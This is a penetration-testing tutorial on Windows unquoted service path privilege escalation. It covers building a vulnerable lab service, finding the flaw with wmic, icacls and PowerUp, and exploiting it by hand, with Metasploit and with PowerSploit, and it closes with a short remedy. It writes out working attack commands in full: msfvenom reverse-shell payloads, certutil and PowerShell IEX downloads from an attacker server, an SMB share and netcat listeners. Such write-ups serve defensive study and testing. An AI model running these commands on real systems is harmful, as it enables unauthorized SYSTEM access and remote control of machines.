When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).

if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument.

This can be exploited to execute an arbitrary binary when the vulnerable service starts, which could allow to escalate privileges to SYSTEM

How does it work?

The way to exploit this vulnerability is to place a malicious executable somewhere in the service path, and name it in a way that starts with the first few letters of the next directory in the service path. When the service starts, it will then execute the evil binary and grant remote SYSTEM access.

An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program.

Unquoted Path or Unquoted Service path is reported as a critical vulnerability in Windows, such vulnerability allows an attacker to escalate the privilege for NT AUTHORITY/SYSTEM for a low-level privilege user account.

Requirements

  • if the path has one or more spaces
  • it is not surrounded by quotation marks
  • Have write permissions in the directory to place the malicious file
  • Be able to Start/Stop the service, or at least, reboot the server for the service to auto start
  • The malicious program/service will have to start with the first letters before the first space of the next directory

If it is initiated by a member of administrators group we will get the same privileges

the filename will be executed in the order from left to right until the space is reached and will append .exe at the end of this spaced path.

In order to run SomeExecutable.exe, the system will interpret this path in the following order from 1 to 5.

  • C:\Program.exe
  • C:\Program Files\VK9.exe
  • C:\Program Files\VK9 Security\binary.exe
  • C:\Program Files\Vk9 Security\binary files\executable.exe
  • C:\Program Files\Vk9 Security\binary files\executable files\real-program.exe

Considering we have the write permissions in the context of the user shell (more on this later) in any of the spaced folders above, we as an attacker can drop our malicious executable in that folder to get a reverse shell as SYSTEM.

When the system boots, Windows auto starts some of its services. Services on Windows communicate with the Service Control Manager which is responsible to start, stop and interact with these service processes.

Access Rights for the Service Control Manager

The SCM creates a service object’s security descriptor when the service is installed by the CreateService function. The default security descriptor of a service object grants the following access.

Anything like SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS is a win. In fact, any of the following permissions are worth looking out for:

  • SERVICE_CHANGE_CONFIG
  • SERVICE_ALL_ACCESS
  • GENERIC_WRITE
  • GENERIC_ALL
  • WRITE_DAC
  • WRITE_OWNER

Lab Set up

1. First I will create 2 users (usera & userb). usera will be part of the administrators & users groups, and userb will part of users only

Create usera

  • net user usera P4ssword123 /add
  • net localgroup Administrators usera /add

Create userb

  • net user userb P4ssword123 /add
  • net localgroup Users userb /add

2. Looking at their privileges

  • net user usera
  • net user userb

3. Log in with the Administrator account, and create in CMD a service task

  • sc create "VK9 Security Vulnerable Service" binpath= "C:\Program Files\Vk9 Security\binary files\executable files\real-program.exe" Displayname= "Vk9 Vuln Service" start= auto

Note: Displayname is advisable to be specified but not necessary (if not mentioned, then it will be same as the service name)

4. Now if we go to “Services” we can see the new one created

5. You can use powershell to see the service

  • Get-Service
  • Get-Service -DisplayName “Vk9 Vuln Service”

6. Also from CMD

  • sc query "VK9 Security Vulnerable Service" state=all

7. We will now proceed to create the folders (with the administrator account), and, to give the appropriate permissions

  • mkdir "C:\Program Files\Vk9 Security\binary files\executable files\"

8. Now Check the permissions in the folder we will make vulnerable, as we can see BUILTIN\Users group only has (read & execute) permissions

  • icacls "C:\Program Files\Vk9 Security/binary files"

NOTE: The main icacls permissions are as follows:

  • F – Full access
  • M– Modify access
  • RX – Read and execute access
  • R – Read-only access
  • W – Write-only access

Whereas these are used for file/folder inheritance:

  • (OI) – Object inherit
  • (CI) – Container inherit
  • (IO) – Inherit only
  • (NP) – Do not propagate inherit

9. Lets add WRITE permissions to BUILTIN\Users

  • icacls "C:\Program Files\Vk9 Security/binary files" /GRANT "BUILTIN\Users":W
  • icacls "C:\Program Files\Vk9 Security/binary files"

10. Please any program in “C:\Program Files\Vk9 Security\binary files\executable files\real-program.exe”

Identification

1. Logging in using userb, the one that only belongs to BUILTIN\Users

  • wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Note: you can also check the folders permissions

  • icacls "C:\Program Files\Vk9"

2. This can also be found in registry

  • reg query "HKLM\SYSTEM\CurrentControlSet\Services\VK9 Security Vulnerable Service"

3. Using PowerUp.ps1 we can also enumerate this vulnerability

  • powershell -ep bypass
  • Import-Module .\PowerUp.ps1
  • Invoke-AllChecks

4. We can also search only for UnquotedServicePath

  • Import-Module .\PowerUp.ps1
  • Get-UnquotedService

Manual Exploitation

1. We already identified Unquoted service path

  • wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

2. Also looking at the directories, we identified “C:\Program Files\Vk9 Security\binary files” to have READ, WRITE, EXECUTE permissions for BUILTIN:Users

  • icacls "C:\Program Files\Vk9 Security/binary files"

3. We can now drop a payload file into that directory, first we need to create it

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.7 LPORT=7777 -f exe -o executable.exe

4. Start a web server at your Linux local server

  • python3 -m http.server 9999

5. In your target machine, download the file into the target directory, and give full permissions to Everyone

  • cd "C:\Program Files\Vk9 Security\binary files"
  • certutil -urlcache -split -f “http://192.168.0.13:9999/executable.exe” executable.exe
  • dir
  • icacls executable.exe /grant Everyone:F

6. Now start a listener on port 7777 in your local machine

  • nc -lvp 7777

7. Now, check if you have rights to restart (stop/start) the service

  • sc stop "VK9 Security Vulnerable Service"
  • sc qc "VK9 Security Vulnerable Service"

Note: we get access denied due to our permissions. Our userb has only BUILTIN:Users rights

8. Try to reboot the server, and see if the service automatically runs at start.

9. Once, the server loads back, you should get a shell back to your listener

when the system will boot/reboot, as its start type is AUTO_START, this service will interact with the Service Control Manager and traverse the path to its binary executable.

Not found > C:\Program Files

Not found > C:\Program Files\Vk9 Security

Found > C:\Program Files\Vk9 Security\binary files\executable.exe

Not Found > C:\Program Files\Vk9 Security\binary files\executable files\

Since, we have dropped our executable.exe, whilst searching for real-program.exe it will first encounter executable.exe and will end up executing this instead due to it being unquoted service binary path, thus, giving us back a reverse shell on our nc listener.

Metasploit

This technique can also be exploited using automated tools like Metasploit. Below the steps to exploit it.

1. Having already a Meterpreter session, we can start by running post exploitation tools

  • background
  • use exploit/windows/local/unquoted_service_path
  • show options

2. Set the session value to our current session

  • set SESSION 12
  • exploit

Note: In this case the payload failed because we have no rights to restart the service, nor, restart the server. If we restart the server probable our Meterpreter communication will fail. So, I will use another user instead of userb, someone that has service start/stop privileges

3. Testing with another user that has start/stop privilges we can see the script being executed successfully

  • set SESSION 13
  • exploit
  • getuid

Note: this exploit works well if the user account is in Administrators group coupled with using a exploit module to bypass UAC.

PowerSploit

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.

we are focusing on two of its modules Get-ServiceUnquoted and Write-ServiceBinary.

  • Get-ServiceUnquoted tells us the service name, executable path, modifiable path along with who has the rights to modify which path.
  • After we have found the Unquoted Service Path, we will use PowerSploit’s Write-ServiceBinary to write the shell to disk within the executable path.

1. Download PowerUp into your Linux machine, and set a web server.

  • git clone https://github.com/PowerShellMafia/PowerSploit.git
  • cd PowerSploit/Privesc
  • python3 -m http.server 9999

2. From the windows server run this command to execute the file in memory, without the need to download to disk. It will execute Get-ServiceUnquoted

  • powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:9999/PowerUp.ps1');Get-UnquotedService"

Break down of the command

  • -nop: Short for NoProfile. It enables PowerShell to not execute profile scripts and right away launch your script in an untouched environment
  • -exec bypass: If script execution is not allowed, make sure to explicitly allow it in order to run our powershell script
  • -c: command to run from PowerShell
  • If you have the Internet access from this reverse shell, then give the PowerUp.ps1 Github’s URL directly as a string to DownloadString in above command or else it can be downloaded from here locally. Download and fetch this script from the attacker’s machine to the victim’s machine if both are in the same network

3. Run Get-ModifiablePath to get the exact folder that is vulnerable

  • powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:9999/PowerUp.ps1');Get-ChildItem C:\ -Recurse | Get-ModifiablePath"

4. With this command we can print the permissions in the folder, we can see BUILTIN\Users with write privileges

  • powershell -nop -exec bypass -c "Get-acl 'C:\Program Files\VK9 Security\binary files' | % {$_.access}"

5. Knowing the exact folder, and the permissions we can proceed to create a stageless payload

  • msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.13 LPORT=1337 -f exe -o executable.exe

6. Now start a SMB server to transfer files to the windows machine

  • impacket-smbserver EVILSHARE ~/Desktop -smb2support

7. Now, proceed to download the file into the right folder using powershell, for this I’ll use Write-ServiceBinary

  • powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:9999/PowerUp.ps1');Write-ServiceBinary -Name 'VK9 Security Vulnerable Service' -Command '\\192.168.0.13\EVILSHARE\executable.exe' -Path 'C:\Program Files\VK9 Security\binary files\executable.exe'"

Write-ServiceBinary takes 3 switches in the above command:

  • -Name: Name of the vulnerable service
  • -Command: The custom command when malicious service binary will be executed
  • -Path: Path to the vulnerable binary which will be executed

Note: you can also verify the file has been delivered by running dir in the target location

  • cd "C:\Program Files\Vk9 Security\binary files"
  • dir

8. Once, the file has been delivered to the target location, we proceed to start a nc listener

  • nc -lvp 1337

9. Proceed to reboot the server, once, it loads back a reverse shell should be executed

  • shutdown /r /f

Remedy

Windows 0day vulnerabilities are very often unquoted service paths. it gets all the services from HKLM\SYSTEM\CurrentControlSet\services, finds those services with spaces and without quotes, prepends and appends double quotes to the service binary executable and fixes it.

Vulnerability Solution: Ensure that any services that contain a space in the path enclose the path in quotes.

Examples:

Unquoted service path: C:\Program Files\VK9 Security\binary files\executable files\real-program.exe

Quoted service path: " C:\Program Files\VK9 Security\binary files\executable files\real-program.exe"

Conclusion

To successfully exploit this vulnerability, following conditions should be met.

  • The service executable path should not be enclosed in quotes and have spaces.
  • It should be running with LocalSystem privileges. If not, whatever privileges it will be running as will provide us a reverse shell with that same privilege level considering it is a auto-start service.
  • Users should have write access in one of the folders where the binary path resides.
  • Users should have the rights to restart the service. If not, it should be an auto-start service so that upon rebooting the system, it communicates with the Service Control Manager and you know the rest.

References

https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa

https://attack.mitre.org/techniques/T1574/009/

https://hackingarticles.in/windows-privilege-escalation-unquoted-service-path/